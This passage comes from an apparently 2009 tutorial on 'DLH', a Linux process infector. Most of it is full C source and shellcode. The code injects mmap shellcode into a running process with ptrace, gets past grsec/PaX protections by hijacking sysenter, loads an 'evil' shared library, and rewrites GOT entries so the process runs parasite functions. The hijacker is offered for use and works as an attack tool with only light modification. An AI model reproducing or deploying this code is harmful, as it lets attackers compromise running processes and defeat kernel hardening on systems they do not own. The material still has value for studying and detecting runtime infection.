        struct  user_regs_struct reg;
        long eip, esp, string, offset, str,
        eax, ebx, ecx, edx;

        int i, j = 0, ret, status;
        unsigned long buf[30];
        unsigned char saved_text[94];
        unsigned char *p;

        ptrace(PTRACE_GETREGS, pid, NULL, &reg);

        /* save register state */
        eip = reg.eip;
        esp = reg.esp;
        eax = reg.eax;
        ebx = reg.ebx;
        ecx = reg.ecx;
        edx = reg.edx;

        offset = text_base; // probably 8048000

        printf("%%eip -> 0x%x\n", eip);
        printf("Injecting mmap_shellcode at 0x%x\n", offset);

        /* were going to load our shellcode at current eip */
        /* first we must backup the original code into saved_text */

          for (i = 0; i < 90; i += 4)
                buf[j++] = ptrace(PTRACE_PEEKTEXT, pid, (offset + i));
        p = (unsigned char *)buf;
        memcpy(saved_text, p, 90);

         /* load shellcode into text starting at base */
        for (i = 0; i < 90; i += 4)
                 ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(mmap_shellcode + i));

        printf("\nSetting %%eip to 0x%x\n", offset);

        reg.eip = offset + 2;
        ptrace(PTRACE_SETREGS, pid, NULL, &reg);

        ptrace(PTRACE_CONT, pid, NULL, NULL);
```

```
        wait(NULL);
        /* check where eip is now at */
        ptrace(PTRACE_GETREGS, pid, NULL, &reg);

        printf("%%eip is now at 0x%x, resetting it to 0x%x\n", reg.eip, eip);
        printf("inserting original code back\n");

        for (j = 0, i = 0; i < 90; i += 4)
                buf[j++] = ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(saved_text + i));

        /* reset register state */
        reg.eip = eip;
        reg.eax = eax;
        reg.ebx = ebx;
        reg.ecx = ecx;
        reg.edx = edx;
        reg.esp = esp;

        ptrace(PTRACE_SETREGS, pid, NULL, &reg);

                /* detach -- when we re-attach we will have access */
        /* to our shared library */
        if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)
        {
                perror("ptrace_detach");
                exit(-1);
        }

}
```

Step 4-8 (grsec method)

NOTE: This method works assuming that the grsec feature that disallows ptrace is not enabled.

As previously stated, grsec patched kernels will not allow us to write to a mapped region with ptrace if it is not writable, thus injecting shellcode that tells us to load our shared object is hopeless. We are instead going to use the method that I described in the chapter on loading the parasite, which is to not inject any code at all, but instead hijack an existing system call entrance and utilize it to execute our own syscalls prior to executing the real ones, this allows us to sneak our shared object into the process without needing to inject shellcode. We want to locate the address of sysenter dynamically (without using the /proc/<pid>/map file), to do this we will need to use PTRACE_SYSCALL. In alot of kernels linux-gate is not randomized, but obtaining the address to sysenter, which is within the linux-gate must be done dynamically because its loaded randomly for each process in grsec kernels. Once we know where sysenter is, we start 5 bytes above it; if you start directly on sysenter, this method doesn't seem to work on some systems. We load %eax with the SYS_open number, store our library string in the data segment etc. We then single step through the instructions for 5 steps, this will get us through the sysenter, and by the end %eax will be holding the return address, which is the fd for mmap(). We do the same thing for mmap(),

but we store all of its args in the data segment right after our library string, and store the address to them in %ebx. One other significant change we are making is mapping the text segment and data segment individually, and sticking to their binary flags. i.e mapping the entire file into memory is not going to work properly because the text segment can't have write permissions and the data segment can't have execute permissions, this is an mprotect() restriction through PaX.

Lets take a look at our code:

```
int grsec_mmap_library(int pid)
{
	struct  user_regs_struct reg;
	long eip, esp, string, offset, str,
	eax, ebx, ecx, edx, orig_eax, data;
	int syscall;
	int i, j = 0, ret, status, fd;
	char library_string[MAXBUF];
	char orig_ds[MAXBUF];
	char buf[MAXBUF] = {0};
	unsigned char tmp[8192];
	char open_done = 0, mmap_done = 0;
	unsigned long int80 = 0;
	unsigned long sysenter = 0;

	strcpy(library_string, EVILLIB_FULLPATH);

		/* backup first part of data segment which will use for a string and some vars */
	memrw ((unsigned long *)orig_ds, data_segment, strlen(library_string)+32, pid, 0);

		/* store our string for our evil lib there */
	for (i = 0; i < strlen(library_string); i += 4)
		ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(library_string + i));

		/* verify we have the correct string */
	for (i = 0; i < strlen(library_string); i+= 4)
		*(long *)&buf[i] = ptrace(PTRACE_PEEKTEXT, pid, (data_segment + i));

		if (strcmp(buf, EVILLIB_FULLPATH) == 0)
		printf("Verified string is stored in DS: %s\n", buf);
	else
	{
		printf("String was not properly stored in DS: %s\n", buf);
		return 0;
	}
```

```
        ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
wait(NULL);

ptrace(PTRACE_GETREGS, pid, NULL, &reg);
eax = reg.eax;
ebx = reg.ebx;
ecx = reg.ecx;
edx = reg.edx;
eip = reg.eip;
esp = reg.esp;

        long syscall_eip = reg.eip - 20;

        /* this gets sysenter dynamically incase its randomized */
if (!static_sysenter)
{
        memrw((unsigned long *)tmp, syscall_eip, 20, pid, 0);
        for (i = 0; i < 20; i++)
        {
                if (!(i % 10))
                        printf("\n");
                printf("%.2x ", tmp[i]);
                if (tmp[i] == 0x0f && tmp[i + 1] == 0x34)
                        sysenter = syscall_eip + i;
        }
}
/* this works only if sysenter isn't at random location */
else
{
        memrw((unsigned long *)tmp, 0xffffe000, 8192, pid, 0);
        for (i = 0; i < 8192; i++)
        {
                if (tmp[i] == 0x0f && tmp[i+1] == 0x34)
                        sysenter = 0xffffe000 + i;
        }

}

sysenter -= 5;
if (!sysenter)
{
        printf("Unable to find sysenter\n");
        exit(-1);
}
```

```
printf("Sysenter found: %x\n", sysenter);
/*
 sysenter should point to:
     push   %ecx
     push   %edx
     push   %ebp
     mov    %esp,%ebp
     sysenter
*/

ptrace(PTRACE_DETACH, pid, NULL, NULL);
wait(0);

if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))
{
     perror("ptrace_attach");
     exit(-1);
}
waitpid(pid, &status, WUNTRACED);

       reg.eax = SYS_open;
reg.ebx = (long)data_segment;
reg.ecx = 0;
reg.eip = sysenter;

       ptrace(PTRACE_SETREGS, pid, NULL, &reg);
ptrace(PTRACE_GETREGS, pid, NULL, &reg);

for(i = 0; i < 5; i++)
{
       ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
       wait(NULL);
       ptrace(PTRACE_GETREGS, pid, NULL, &reg);
       if (reg.eax != SYS_open)
              fd = reg.eax;
}
offset = (data_segment + strlen(library_string)) + 8;

reg.eip = sysenter;
reg.eax = SYS_mmap;
reg.ebx = offset;

        /* MAP IN TEXT RE */
ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0
ptrace(PTRACE_POKETEXT, pid, offset + 4, segment.text_len + (PAGE_SIZE - (segment.text_len &
```

```
(PAGE_SIZE - 1))));
        ptrace(PTRACE_POKETEXT, pid, offset + 8, 5);   // PROT_READ|PROT
        ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED
        ptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd
        ptrace(PTRACE_POKETEXT, pid, offset + 20, segment.text_off & ~(PAGE_SIZE - 1));

        ptrace(PTRACE_SETREGS, pid, NULL, &reg);
        ptrace(PTRACE_GETREGS, pid, NULL, &reg);

        for(i = 0; i < 5; i++)
        {
                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
                wait(NULL);
                ptrace(PTRACE_GETREGS, pid, NULL, &reg);
                if (reg.eax != SYS_mmap)
                        evil_base = reg.eax;
        }

        reg.eip = sysenter;
        reg.eax = SYS_mmap;
        reg.ebx = offset;

                /* MAP IN DATA RW */
        ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0
        ptrace(PTRACE_POKETEXT, pid, offset + 4, segment.data_len + (PAGE_SIZE - (segment.data_len &
(PAGE_SIZE - 1))));
        ptrace(PTRACE_POKETEXT, pid, offset + 8, 3);   // PROT_READ|PROT_WRITE
        ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED
        ptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd
        ptrace(PTRACE_POKETEXT, pid, offset + 20, segment.data_off & ~(PAGE_SIZE - 1));

        ptrace(PTRACE_SETREGS, pid, NULL, &reg);
        ptrace(PTRACE_GETREGS, pid, NULL, &reg);

        for(i = 0; i < 5; i++)
        {
                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
                wait(NULL);
        }

        printf("Restoring data segment\n");
        for (i = 0; i < strlen(library_string) + 32; i++)
                ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(orig_ds + i));
```

```
        reg.eip = eip;
    reg.eax = eax;
    reg.ebx = ebx;
    reg.ecx = ecx;
    reg.edx = edx;
    reg.esp = esp;

        ptrace(PTRACE_SETREGS, pid, NULL, &reg);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
}
```

A final note on obtaining where sysenter exists:

Another way to locate sysenter would be to parse the stack of the process and get the AUXV AT_SYSINFO entry which contains the location of either sysenter or somewhere right near there, I haven't tried this, but I stumbled upon it as a possibility while examining that entry.

Step 9

In order to access our parasite code, which is a replacement function, we must locate the base address of our shared library now that it is mapped into the target process image. A processes memory maps are displayed in /proc/<pid>/maps, as will the mapping of our shared object, thus parsing this file is sufficient. Our shared library is called "libtest.so.1.0"

```
08048000-08049000 r-xp 00000000 08:03 4786267    /home/elf/got_hijack/test
08049000-0804a000 r--p 00000000 08:03 4786267    /home/elf/got_hijack/test
0804a000-0804b000 rw-p 00001000 08:03 4786267    /home/elf/got_hijack/test
b7ddf000-b7de0000 rw-p b7ddf000 00:00 0
b7de0000-b7f0a000 r-xp 00000000 08:03 378946     /lib/libc-2.6.1.so
b7f0a000-b7f0c000 r--p 0012a000 08:03 378946     /lib/libc-2.6.1.so
b7f0c000-b7f0d000 rw-p 0012c000 08:03 378946     /lib/libc-2.6.1.so

b7f0d000-b7f11000 rw-p b7f0d000 00:00 0

/* if we do this the grsec way, you want the base of the text */
/* and you will see two mappings for libtest.so.1.0, the text */
/* will be maped as r-xp and the data will be rw-p */

b7f1b000-b7f1d000 rwxp 00000000 08:03 4786297    /home/elf/libtest.so.1.0
b7f1d000-b7f1e000 rw-p b7f1d000 00:00 0
b7f1e000-b7f38000 r-xp 00000000 08:03 378903     /lib/ld-2.6.1.so
b7f38000-b7f39000 r--p 00019000 08:03 378903     /lib/ld-2.6.1.so
b7f39000-b7f3a000 rw-p 0001a000 08:03 378903     /lib/ld-2.6.1.so
bfb24000-bfb39000 rw-p bffeb000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
```

As you can see the base address is b7f1b000. A simple function to extract this value is used in the hijacker provided later on, it is important to note that with grsec these addresses will not be available, in which case we should just get the address from %eax after mmap'ng it.

Step 10

Now that we have the base address of our shared object, we need to locate the evil function itself so that we can store it in the GOT, and also patch its "transfer code" with the address of the original function for when we need to transfer execution back (remember that the transfer code is the ending code in the parasite -- either a function pointer, or a jump --

One method to find our evil function is to scan memory for its signature code sequence. We can use the first 8 bytes as the code sequence... lets look at the following parasite:

```
int
evilprint (char *buf)
{

  char new_string[5];
      new_string[0] = 'e';
      new_string[1] = 'v';
      new_string[2] = 'i';
      new_string[3] = 'l';
      new_string[4] = 0;

  int (*origfunc)(char *p) = 0x00000000;
  origfunc(new_string);

}
```

Using objdump we can disassemble it to find its signature

```
00000248 <evilprint>:
 248:   55                      push   %ebp
 249:   89 e5                   mov    %esp,%ebp
 24b:   83 ec 18                sub    $0x18,%esp
 24e:   c6 45 f7 65             movb   $0x65,-0x9(%ebp)
 252:   c6 45 f8 76             movb   $0x76,-0x8(%ebp)
 256:   c6 45 f9 69             movb   $0x69,-0x7(%ebp)
 25a:   c6 45 fa 6c             movb   $0x6c,-0x6(%ebp)
 25e:   c6 45 fb 00             movb   $0x0,-0x5(%ebp)
 262:   c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%ebp)
 269:   83 ec 0c                sub    $0xc,%esp
 26c:   8d 45 f7                lea    -0x9(%ebp),%eax
 26f:   50                      push   %eax
 270:   8b 45 fc                mov    -0x4(%ebp),%eax
 273:   ff d0                   call   *%eax
```

```
  275:   83 c4 10                add    $0x10,%esp
  278:   c9                      leave
  279:   c3                      ret
```

The first 3 bytes '\x55\x89\xe5' are standard prologue, so lets use those to mark the start of a function, and include the following 5 bytes as well. Then we will have a unique signature to mark where our parasite starts within memory:

unsigned char evilsig[] = "\x55\x89\xe5\x83\xec\x18\xc6\x45";

It may be wise to use a larger signature, but our example shared library is very small and its safe to say that the first 8 bytes are unique to our function only. In order to get the address of our evil function we simply use ptrace PEEKTEXT request to read our shared object mapping into a buffer starting at its base address that we extracted from the map file. i.e

```
for (i = 0, j = 0; i < size; i+= sizeof(uint32_t), j++)
{
      if(((data = ptrace(PTRACE_PEEKTEXT, pid, vaddr + i)) == -1) && errno)
            return -1;
      buf[j] = data;
}
```

Then search for our signature:

```
for (i = 0; i < LIBSIZE; i++)
{
       if (buf[i] == evilsig[0] && buf[i+1] == evilsig[1] && buf[i+2] == evilsig[2]
       && buf[i+3] == evilsig[3] && buf[i+4] == evilsig[4] && buf[i+5] == evilsig[5]
       && buf[i+6] == evilsig[6] && buf[i+7] == evilsig[7])
       {
             evilvaddr = (vaddr + i);
             break;
       }
}
```

Another method, which is simpler and better, although I didn't think of it when initially writing the code, is to find the offset of your evil function since it should generally stay consistent. This is trivial and can be implemented easier than the method shown above. i.e

evilvaddr = base + offset;

Step 11-13

In addition to modifying the GOT entry with the address of our evil function, we need to patch the transfer code in the evil function with the memory address of the original function. If you scroll back up to the disassembled evil function "evilprint" and look on the 9th line you will see the transfer code that we must patch:

```
262:   c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%ebp)
```

That line is the function pointer assignment we did in C --

int (*origfunc)(char *p) = 0x00000000;

We need to locate that within the evil function and patch it with the memory address of the original function. How do we get the address of the original function? If you recall, the get_plt() code I demonstrated in step 2 will pull the relocation entries which contain virtual address/offsets into the global offset table where we can find what we need.

Using some code I wrote that basically pulls relocation offsets, their values, and the corresponding symbols of a running process we can take a look at our test program while running:

```
r_offset: 804a000
symbol:   __gmon_start__
export address: 8048306

r_offset: 804a004
symbol:   __libc_start_main
export address: b7dd5f00

r_offset: 804a008
symbol:   sleep
export address: b7e4dbb0

r_offset: 804a00c
symbol:   puts
export address: b7e185c0
```

What is it we are looking at above? The r_offset (relocation offset) is the address in the GOT, the export address is the value stored there. If you notice the export address for puts() is b7e185c0, that is its resolved address in libc -- how do I know that? Due to lazy linking, before puts() gets called the first time (as we learned earlier) it will have a stub address that points back to the PLT, and it will start with '804'.

So our goal is to get the address for puts() stored in the global offset table r_offset -- Here is an example:

```
if ((lp = (struct linking_info *)get_plt(mem)) == NULL)
 {
```

```
            printf("get_plt() failed\n");
            goto done;
}

  for (i = 0; i < lp[0].count; i++)
{
      if (strcmp(lp[i].name, "puts") == 0)
      {
           /*
            memrw() uses ptrace to perform several tasks, including
            retrieving the original function address from the GOT, and
            overwriting it with the new function (evilprint) address
            the memrw() MODIFY_GOT request will return the final value
            of the GOT entry, which should contain the address of the new
            function, this way we can check to make sure its been properly
            updated.
           */

             export = memrw(NULL, lp[i].offset, MODIFY_GOT, pid, evilfunc);
           if (export == evilfunc)
                printf("Successfully modified GOT entry\n\n");
           else
           {
                printf("Failed at modifying GOT entry\n");
                goto done;
           }
               printf("New GOT value: %x\n", export);
      }
}
```

We've now retrieved the original address of the function we are hijacking, and modified the GOT entry with the address to our evil function. We need to carry out the final step and patch the evil functions transfer code, so that when its done it can call the original function. We need to use our memrw() function (the src for it is revealed in the included hijacker) to read our evil function into a buffer and determine the address of where to patch the transfer code:

Remember our transfer code signature -- c7 45 fc 00 00 00 00 -- we want to patch it with the address of the original function starting right after '\xc7\x45\xfc\'.

```
unsigned char evil_code[256];
unsigned long injection_vaddr = 0;

/* tc[] is short for transfer_code[] */
unsigned char tc[] = "\xc7\x45\xfc\x00";
```

```
/* get a copy of our replacement function and search for transfer sequence */
memrw((unsigned long *)evil_code, evilfunc, 256, pid, 0);

/* once located, patch it with the addr of the original function */

for (i = 0; i < 256; i++)
{
	if (evil_code[i] == tc[0] && evil_code[i+1] == tc[1] && evil_code[i+2] == tc[2] && evil_code[i+3] == tc[3])
	{
		printf("\nLocated transfer code; patching it with %x\n", original);
		injection_vaddr = (evilfunc + i) + 3;
		break;
	}
}
```

At this point we can patch it with:

```
memrw(0, injection_vaddr, INJECT_TRANSFER_CODE, pid, original);
```

Step 14

We can now detach from the process and enjoy.

```
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)
	perror("ptrace_detach");
```

7 - The Hijacker

I have included the complete hijacker and an example parasite. The hijacker can be used on any process of type ET_EXEC, or ET_DYN. The only aspects of the source code that need to be modified are the signatures for the evil function and the transfer code, as these will vary but are easily found using objdump. The shellcode to load the shared library assumes that the shared library is called libtest.so.1.0 and exists in /lib directory. The shellcode is available in its ASM form for modifications below.

```
/* start of dlh.c */
/*
 * DLH (Dynamic Link Hijacker) v0.1 (C) Ryan O'Neill 2009
 * process infector through GOT modification and shared object linking
 * features include ET_DYN processes, and Grsec memory protection bypassing
 * for code injection.
 *
 * Author: Ryan O'Neill
 * <ryan@bitlackeys.com>
 *
```

```
 * gcc dlh.c -o dlh
 * ./dlh <pid> <function to hijack> [opts]
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/mman.h>
#include <elf.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/syscall.h>

#define ORIG_EAX 11
#define MAXBUF 255

/* memrw() request to modify global offset table */
#define MODIFY_GOT 1

/* memrw() request to patch parasite */
/* with original function address */
#define INJECT_TRANSFER_CODE 2

#define EVILLIB "libtest.so.1.0"
#define EVILLIB_FULLPATH "/lib/libtest.so.1.0"

/* should be getting lib mmap size dynamically */
/* from map file; this #define is temporary */
#define LIBSIZE 5472

/* struct to get symbol relocation info */
struct linking_info
{
        char name[256];
        int index;
        int count;
```

```
        uint32_t offset;
};

struct segments
{
        unsigned long text_off;
        unsigned long text_len;
        unsigned long data_off;
        unsigned long data_len;
} segment;
unsigned long original;
extern int getstr;

unsigned long text_base;
unsigned long data_segment;
char static_sysenter = 0;

/*
_start:
        jmp B
A:

        # fd = open("libtest.so.1.0", O_RDONLY);

        xorl %ecx, %ecx
        movb $5, %al
        popl %ebx
        xorl %ecx, %ecx
        int $0x80

        subl $24, %esp

        # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);

        xorl %edx, %edx
        movl %edx, (%esp)
        movl $8192,4(%esp)
        movl $7, 8(%esp)
        movl $2, 12(%esp)
        movl %eax,16(%esp)
        movl %edx, 20(%esp)
        movl $90, %eax
        movl %esp, %ebx
        int $0x80
```

```
        int3
B:
        call A
        .string "/lib/libtest.so.1.0"
*/

/* make sure to put your shared lib in /lib and name it libtest.so.1.0 */
char mmap_shellcode[] =
        "\xe9\x3b\x00\x00\x00\x31\xc9\xb0\x05\x5b\x31\xc9\xcd\x80\x83\xec"
        "\x18\x31\xd2\x89\x14\x24\xc7\x44\x24\x04\x00\x20\x00\x00\xc7\x44"
        "\x24\x08\x07\x00\x00\x00\xc7\x44\x24\x0c\x02\x00\x00\x00\x89\x44"
        "\x24\x10\x89\x54\x24\x14\xb8\x5a\x00\x00\x00\x89\xe3\xcd\x80\xcc"
        "\xe8\xc0\xff\xff\xff\x2f\x6c\x69\x62\x2f\x6c\x69\x62\x74\x65\x73"
        "\x74\x2e\x73\x6f\x2e\x31\x2e\x30\x00";

/* the signature for our evil function in our shared object */
/* we use the first 8 bytes of our function code */
/* make sure this is modified based on your parasite (evil function) */
unsigned char evilsig[] = "\x55\x89\xe5\x83\xec\x18\xc6\x45";

/* here is the signature for our transfer code, this will vary */
/* depending on whether or not you use a function pointer or a */
/* movl/jmp sequence. The one below is for a function pointer */
unsigned char tc[] = "\xc7\x45\xfc\x00";

/*  Our memrw() function serves three purposes
 1. modify .got entry with replacement function
 2. patch transfer code within replacement function
 3. read from any text memory location in process
*/

unsigned long evil_base;

unsigned long memrw(unsigned long *buf, unsigned long vaddr, unsigned int size, int pid, unsigned long new)
{
        int i, j, data;
        int ret;
        int ptr = vaddr;

        /* get the memory address of the function to hijack */
        if (size == MODIFY_GOT && !buf)
        {
            printf("Modifying GOT(%x)\n", vaddr);
            original = (unsigned long)ptrace(PTRACE_PEEKTEXT, pid, vaddr);
            ret = ptrace(PTRACE_POKETEXT, pid, vaddr, new);
```

```
        return (unsigned long)ptrace(PTRACE_PEEKTEXT, pid, vaddr);
    }
    else
    if(size == INJECT_TRANSFER_CODE)
    {
        printf("Injecting %x at 0x%x\n", new, vaddr);
        ptrace(PTRACE_POKETEXT, pid, vaddr, new);

            j = 0;
        vaddr --;
        for (i = 0; i < 2; i++)
        {
            data = ptrace(PTRACE_PEEKTEXT, pid, (vaddr + j));
            buf[i] = data;
            j += 4;
        }
        return 1;
    }
    else
    printf("Reading from process image at 0x%x\n", vaddr);
    for (i = 0, j = 0; i < size; i+= sizeof(uint32_t), j++)
    {
        /* PTRACE_PEEK can return -1 on success, check errno */
        if(((data = ptrace(PTRACE_PEEKTEXT, pid, vaddr + i)) == -1) && errno)
            return -1;
        buf[j] = data;
    }
    return i;
}

/* bypass grsec patch that prevents code injection into text */
int grsec_mmap_library(int pid)
{
    struct  user_regs_struct reg;
    long eip, esp, string, offset, str,
    eax, ebx, ecx, edx, orig_eax, data;
    int syscall;
    int i, j = 0, ret, status, fd;
    char library_string[MAXBUF];
    char orig_ds[MAXBUF];
    char buf[MAXBUF] = {0};
    unsigned char tmp[8192], *mem;
    char open_done = 0, mmap_done = 0;
```

```
unsigned long sysenter = 0;
Elf32_Ehdr *ehdr;
Elf32_Phdr *phdr;
int libfd;
struct stat lst;
long text_offset, text_length, data_offset, data_length;

if ((libfd = open(EVILLIB_FULLPATH, O_RDONLY)) == -1)
{
	perror("open");
	return 0;
}

if (fstat(libfd, &lst) < 0)
{
	perror("fstat");
	return 0;
}

mem = mmap(NULL, lst.st_size, PROT_READ, MAP_PRIVATE, libfd, 0);
if (mem == MAP_FAILED)
{
	perror("mmap");
	return 0;
}

ehdr = (Elf32_Ehdr *)mem;
phdr = (Elf32_Phdr *)(mem + ehdr->e_phoff);

for (i = ehdr->e_phnum; i-- > 0; phdr++)
	if (phdr->p_type == PT_LOAD && phdr->p_offset == 0)
	{
		text_offset = phdr->p_offset;
		text_length = phdr->p_filesz;

		phdr++;

		data_offset = phdr->p_offset;
		data_length = phdr->p_filesz;
		break;
	}

strcpy(library_string, EVILLIB_FULLPATH);

	/* backup first part of data segment which will use for a string and some vars */
memrw ((unsigned long *)orig_ds, data_segment, strlen(library_string)+32, pid, 0);
```

```
        /* store our string for our evil lib there */
for (i = 0; i < strlen(library_string); i += 4)
        ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(library_string + i));

        /* verify we have the correct string */
for (i = 0; i < strlen(library_string); i+= 4)
        *(long *)&buf[i] = ptrace(PTRACE_PEEKTEXT, pid, (data_segment + i));

        if (strcmp(buf, EVILLIB_FULLPATH) == 0)
        printf("Verified string is stored in DS: %s\n", buf);
else
{
        printf("String was not properly stored in DS: %s\n", buf);
        return 0;
}

        ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
wait(NULL);

ptrace(PTRACE_GETREGS, pid, NULL, &reg);

eax = reg.eax;
ebx = reg.ebx;
ecx = reg.ecx;
edx = reg.edx;
eip = reg.eip;
esp = reg.esp;

        long syscall_eip = reg.eip - 20;

        /* this gets sysenter dynamically incase its randomized */
if (!static_sysenter)
{
        memrw((unsigned long *)tmp, syscall_eip, 20, pid, 0);
        for (i = 0; i < 20; i++)
        {
                if (!(i % 10))
                        printf("\n");
                printf("%.2x ", tmp[i]);
                if (tmp[i] == 0x0f && tmp[i + 1] == 0x34)
                        sysenter = syscall_eip + i;
        }
}
/* this works only if sysenter isn't at random location */
else
```

```
{
	memrw((unsigned long *)tmp, 0xffffe000, 8192, pid, 0);
	for (i = 0; i < 8192; i++)
	{
		if (tmp[i] == 0x0f && tmp[i+1] == 0x34)
			sysenter = 0xffffe000 + i;
	}

}

sysenter -= 5;

if (!sysenter)
{
	printf("Unable to find sysenter\n");
	exit(-1);
}
printf("Sysenter found: %x\n", sysenter);
/*
 sysenter should point to:
    push   %ecx
    push   %edx
    push   %ebp
    mov    %esp,%ebp
    sysenter
*/

ptrace(PTRACE_DETACH, pid, NULL, NULL);
wait(0);

if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))
{
    perror("ptrace_attach");
    exit(-1);
}
waitpid(pid, &status, WUNTRACED);

	reg.eax = SYS_open;
reg.ebx = (long)data_segment;
reg.ecx = 0;
reg.eip = sysenter;

	ptrace(PTRACE_SETREGS, pid, NULL, &reg);
ptrace(PTRACE_GETREGS, pid, NULL, &reg);
```

```
        for(i = 0; i < 5; i++)
    {
        ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
        wait(NULL);
        ptrace(PTRACE_GETREGS, pid, NULL, &reg);
        if (reg.eax != SYS_open)
            fd = reg.eax;
    }
    offset = (data_segment + strlen(library_string)) + 8;

    reg.eip = sysenter;
    reg.eax = SYS_mmap;
    reg.ebx = offset;

            ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0
    ptrace(PTRACE_POKETEXT, pid, offset + 4, text_length + (PAGE_SIZE - (text_length & (PAGE_SIZE -
1))));
    ptrace(PTRACE_POKETEXT, pid, offset + 8, 5);   // PROT_READ|PROT
    ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED
    ptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd
    ptrace(PTRACE_POKETEXT, pid, offset + 20, text_offset);

    ptrace(PTRACE_SETREGS, pid, NULL, &reg);
    ptrace(PTRACE_GETREGS, pid, NULL, &reg);

        for(i = 0; i < 5; i++)
    {
        ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
        wait(NULL);
        ptrace(PTRACE_GETREGS, pid, NULL, &reg);
        if (reg.eax != SYS_mmap)
            evil_base = reg.eax;
    }

        reg.eip = sysenter;
    reg.eax = SYS_mmap;
    reg.ebx = offset;

    ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0
    ptrace(PTRACE_POKETEXT, pid, offset + 4, data_length + (PAGE_SIZE - (data_length & (PAGE_SIZE -
1))));
    ptrace(PTRACE_POKETEXT, pid, offset + 8, 3);   // PROT_READ|PROT_WRITE
    ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED
```

```
        ptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd
        ptrace(PTRACE_POKETEXT, pid, offset + 20, data_offset);

                ptrace(PTRACE_SETREGS, pid, NULL, &reg);
        ptrace(PTRACE_GETREGS, pid, NULL, &reg);

        for(i = 0; i < 5; i++)
        {
                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
                wait(NULL);
        }

                printf("Restoring data segment\n");
        for (i = 0; i < strlen(library_string) + 32; i++)
                ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(orig_ds + i));

                reg.eip = eip;
        reg.eax = eax;
        reg.ebx = ebx;
        reg.ecx = ecx;
        reg.edx = edx;
        reg.esp = esp;

                ptrace(PTRACE_SETREGS, pid, NULL, &reg);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
}
/* function to load our evil library */
int mmap_library(int pid)
{
        struct  user_regs_struct reg;
        long eip, esp, string, offset, str,
        eax, ebx, ecx, edx;

        int i, j = 0, ret, status;
        unsigned long buf[30];
        unsigned char saved_text[94];
        unsigned char *p;

        ptrace(PTRACE_GETREGS, pid, NULL, &reg);

        eip = reg.eip;
        esp = reg.esp;
        eax = reg.eax;
        ebx = reg.ebx;
```

```
ecx = reg.ecx;
edx = reg.edx;

offset = text_base;

        printf("%%eip -> 0x%x\n", eip);
printf("Injecting mmap_shellcode at 0x%x\n", offset);

  /* were going to load our shellcode at base */
/* first we must backup the original code into saved_text */
for (i = 0; i < 90; i += 4)
        buf[j++] = ptrace(PTRACE_PEEKTEXT, pid, (offset + i));
p = (unsigned char *)buf;
memcpy(saved_text, p, 90);

        printf("Here is the saved code we will be overwriting:\n");
for (j = 0, i = 0; i < 90; i++)
{
        if ((j++ % 20) == 0)
                printf("\n");
        printf("\\x%.2x", saved_text[i]);
}
printf("\n");
 /* load shellcode into text starting at eip */
for (i = 0; i < 90; i += 4)
         ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(mmap_shellcode + i));

        printf("\nVerifying shellcode was injected properly, does this look ok?\n");
j = 0;
for (i = 0; i < 90; i += 4)
        buf[j++] = ptrace(PTRACE_PEEKTEXT, pid, (offset + i));

p = (unsigned char *) buf;
for (j = 0, i = 0; i < 90; i++)
{
        if ((j++ % 20) == 0)
                printf("\n");
        printf("\\x%.2x", p[i]);
}

printf("\n\nSetting %%eip to 0x%x\n", offset);

reg.eip = offset + 2;
ptrace(PTRACE_SETREGS, pid, NULL, &reg);

        ptrace(PTRACE_CONT, pid, NULL, NULL);
```

```
        wait(NULL);
    /* check where eip is now at */
    ptrace(PTRACE_GETREGS, pid, NULL, &reg);

    printf("%%eip is now at 0x%x, resetting it to 0x%x\n", reg.eip, eip);
    printf("inserting original code back\n");

        for (j = 0, i = 0; i < 90; i += 4)
        buf[j++] = ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(saved_text + i));

    /* get base addr of our mmap'd lib */
    evil_base = reg.eax;

        reg.eip = eip;
    reg.eax = eax;
    reg.ebx = ebx;
    reg.ecx = ecx;
    reg.edx = edx;
    reg.esp = esp;

    ptrace(PTRACE_SETREGS, pid, NULL, &reg);

        if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)
    {
        perror("ptrace_detach");
        exit(-1);
    }

}

